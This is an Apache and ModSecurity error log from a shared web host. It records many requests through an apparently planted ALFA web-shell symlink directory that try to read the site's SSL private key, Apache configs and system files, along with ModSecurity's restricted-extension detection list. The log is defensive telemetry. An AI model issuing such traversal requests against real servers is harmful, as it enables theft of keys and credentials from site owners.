[Mon Oct 26 06:19:12.490394 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.18:48226] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5cf0_6cd5f_17991552205d61fe57749127c5c82d2a.key"] [unique_id "at8pIFniGvaQgsARmtzdtQAAAAM"]
[Mon Oct 26 06:19:12.490757 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.18:48226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5cf0_6cd5f_17991552205d61fe57749127c5c82d2a.key"] [unique_id "at8pIFniGvaQgsARmtzdtQAAAAM"]
[Mon Oct 26 06:19:12.491076 2026] [security2:error] [pid 3011354:tid 3011354] [client 185.191.171.18:48226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a5cf0_6cd5f_17991552205d61fe57749127c5c82d2a.key"] [unique_id "at8pIFniGvaQgsARmtzdtQAAAAM"]
[Mon Oct 26 06:19:31.937782 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 34.224.9.144:15222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:19:39.992516 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 34.193.2.57:60324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:19:43.720237 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 44.215.231.15:55153] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/resource4_wc
[Mon Oct 26 06:19:47.677346 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 54.83.23.103:51911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:19:51.615372 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 34.192.125.239:25603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource2
[Mon Oct 26 06:19:55.570461 2026] [ssl:error] [pid 3002822:tid 3002822] (22)Invalid argument: [client 44.193.102.198:31777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:20:03.470290 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 44.223.193.255:56686] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:20:15.684466 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 44.209.187.99:18980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4_wc
[Mon Oct 26 06:20:23.356927 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 54.221.203.24:7243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:20:27.318632 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 54.197.82.195:16107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 06:20:31.281326 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 54.235.125.129:9603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/port
[Mon Oct 26 06:20:33.155227 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 185.191.171.5:36334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/remote_node_defrag_ratio
[Mon Oct 26 06:20:43.395442 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.147.80.137:22282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:20:47.327201 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 52.71.203.206:3383] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ata_piix/unbind
[Mon Oct 26 06:20:51.344099 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 44.223.116.149:33771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:20:59.161726 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 52.204.71.8:4111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:21:03.204430 2026] [core:error] [pid 3011354:tid 3011354] (13)Permission denied: [client 52.71.216.196:17442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:08/eject
[Mon Oct 26 06:21:07.456596 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 50.19.221.48:54397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:21:19.139518 2026] [ssl:error] [pid 3011354:tid 3011354] (70014)End of file found: [client 44.217.255.167:4592] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:21:22.048708 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 85.208.96.202:29718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:21:28.079855 2026] [security2:error] [pid 3010063:tid 3010063] [client 107.172.76.131:52930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8pnFQCSjBN4LPVCMiTYwAAABA"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:21:28.079907 2026] [security2:error] [pid 3010063:tid 3010063] [client 107.172.76.131:52930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8pnFQCSjBN4LPVCMiTYwAAABA"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:21:42.935443 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.92.171.106:3475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:21:50.839210 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 98.82.40.168:37946] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:22:10.809456 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.213.70.100:51846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:22:10.809717 2026] [security2:error] [pid 3010062:tid 3010062] [client 18.213.70.100:51846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:20/adr"] [unique_id "at8p0ujICF14JuwJz6aBSAAAAA8"]
[Mon Oct 26 06:22:10.809757 2026] [security2:error] [pid 3010062:tid 3010062] [client 18.213.70.100:51846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:20/adr"] [unique_id "at8p0ujICF14JuwJz6aBSAAAAA8"]
[Mon Oct 26 06:22:23.071977 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.218.6.93:11912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:22:26.714095 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 35.172.125.172:62013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:22:40.582506 2026] [core:error] [pid 3011354:tid 3011354] (13)Permission denied: [client 185.191.171.10:42038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/slabs
[Mon Oct 26 06:22:46.637682 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.235.158.162:48005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:02.420322 2026] [security2:error] [pid 3010062:tid 3010062] [client 23.20.178.124:39361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0400:00/"] [unique_id "at8qBujICF14JuwJz6aBSwAAAA8"]
[Mon Oct 26 06:23:02.420377 2026] [security2:error] [pid 3010062:tid 3010062] [client 23.20.178.124:39361] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0400:00/"] [unique_id "at8qBujICF14JuwJz6aBSwAAAA8"]
[Mon Oct 26 06:23:06.475117 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.4.238.8:55490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:07.362284 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 216.244.66.250:48692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/greylist_trusted_netblocks
[Mon Oct 26 06:23:07.362745 2026] [security2:error] [pid 3000155:tid 3000155] [client 216.244.66.250:48692] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/greylist_trusted_netblocks"] [unique_id "at8qC8SU-1yln6Gx7K9CewAAABE"]
[Mon Oct 26 06:23:07.362768 2026] [security2:error] [pid 3000155:tid 3000155] [client 216.244.66.250:48692] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/greylist_trusted_netblocks"] [unique_id "at8qC8SU-1yln6Gx7K9CewAAABE"]
[Mon Oct 26 06:23:18.413491 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 3.221.156.96:3433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/virtio-pci/remove_id
[Mon Oct 26 06:23:22.401464 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 44.193.115.232:22718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:26.274269 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 52.0.105.244:50869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:34.217868 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.211.148.239:28392] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:38.233305 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 18.211.39.188:51351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:42.207756 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.206.193.60:23814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:46.414073 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 34.225.87.80:16801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:23:54.406731 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 3.216.227.216:19002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/port
[Mon Oct 26 06:24:06.295260 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.194.134.53:16253] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:10.220043 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 100.28.49.152:29605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/remove_id
[Mon Oct 26 06:24:14.176798 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 52.203.68.145:46624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:18.209410 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.204.150.196:7611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:30.174309 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 98.82.38.120:4865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:34.213853 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 50.16.216.166:46761] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:41.623156 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 85.208.96.205:14576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/red_zone
[Mon Oct 26 06:24:46.336635 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.89.176.255:9159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:24:54.380020 2026] [ssl:error] [pid 3010070:tid 3010070] (70014)End of file found: [client 23.21.250.48:15114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:25:02.193884 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 34.203.111.15:59187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:25:06.174267 2026] [core:error] [pid 3011079:tid 3011079] (13)Permission denied: [client 52.70.123.241:37271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:20/eject
[Mon Oct 26 06:25:22.214209 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 100.29.160.53:37262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:25:50.254059 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 34.197.28.78:27736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:25:50.550707 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:53043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8qolwJcrReXfrIodgzFgAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:25:50.550775 2026] [security2:error] [pid 3010067:tid 3010067] [client 107.172.76.131:53043] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8qolwJcrReXfrIodgzFgAAABI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 06:25:54.168309 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 52.203.237.170:60957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:25:58.285532 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 184.73.47.24:15257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:02.174401 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 44.210.204.255:52019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:11.116541 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 185.191.171.11:63270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/validate
[Mon Oct 26 06:26:34.245310 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 35.169.240.53:48616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:37.208273 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 185.191.171.9:50242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/sanity_checks
[Mon Oct 26 06:26:38.323640 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 18.206.47.187:58669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:42.284923 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 18.210.58.238:12750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:46.171334 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 18.206.47.187:30596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:50.153519 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.208.146.193:62279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:26:58.174767 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 54.235.125.129:13313] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:12.002401 2026] [security2:error] [pid 2993961:tid 2993961] [client 16.216.88.222:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at8rABJqpTbSe9f2_suCbQAAAAc"]
[Mon Oct 26 06:27:12.002882 2026] [security2:error] [pid 2993961:tid 2993961] [client 16.216.88.222:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at8rABJqpTbSe9f2_suCbQAAAAc"]
[Mon Oct 26 06:27:12.003205 2026] [security2:error] [pid 2993961:tid 2993961] [client 16.216.88.222:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/325_mod_proxy_fcgi.conf"] [unique_id "at8rABJqpTbSe9f2_suCbQAAAAc"]
[Mon Oct 26 06:27:22.204540 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.81.253.213:63294] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:26.292456 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 18.211.39.188:39988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:30.178950 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 50.16.216.166:55564] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:31.921337 2026] [core:error] [pid 3010070:tid 3010070] (13)Permission denied: [client 185.191.171.9:34688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/shrink
[Mon Oct 26 06:27:34.160058 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.226.106.93:41056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:40.542186 2026] [authz_core:error] [pid 3000174:tid 3000174] [client 35.204.16.32:16384] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 06:27:42.760749 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.80.185.200:15860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:46.314313 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 34.236.185.101:47400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/event1/device/subsystem/input5/device/driver/module/uevent
[Mon Oct 26 06:27:50.156371 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 23.23.99.55:38364] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:27:58.218644 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 44.205.192.249:19288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/event1/device/device/driver/uevent
[Mon Oct 26 06:28:06.255065 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 3.232.82.72:4017] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:10.159438 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 107.20.181.148:19428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:18.430910 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 52.54.95.127:23649] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/subsystem/uevent
[Mon Oct 26 06:28:33.667519 2026] [core:error] [pid 3010062:tid 3010062] (13)Permission denied: [client 85.208.96.202:23154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/order
[Mon Oct 26 06:28:34.156164 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 44.210.213.220:10084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:42.143524 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.210.114.189:15431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:50.154228 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 98.83.10.183:20982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:58.146065 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 34.238.45.183:32000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:28:59.369119 2026] [core:crit] [pid 3000174:tid 3000174] (13)Permission denied: [client 185.189.182.234:42606] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 06:29:02.223515 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 23.21.179.120:59712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:14.283546 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 3.232.102.111:8355] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:18.156838 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.211.105.134:10602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:22.168978 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 52.0.63.151:24056] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:26.158759 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.206.93.215:30351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:34.307175 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.223.116.149:34562] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:42.022704 2026] [security2:error] [pid 3010062:tid 3010062] [client 184.94.112.250:43707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at8rlujICF14JuwJz6aBXQAAAA8"]
[Mon Oct 26 06:29:42.022742 2026] [security2:error] [pid 3010062:tid 3010062] [client 184.94.112.250:43707] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at8rlujICF14JuwJz6aBXQAAAA8"]
[Mon Oct 26 06:29:50.154689 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 34.224.132.215:3656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:29:54.147544 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 107.20.224.184:36155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:30:10.175279 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 44.209.35.147:18692] AH02013: coalesce failed to read from data bucket
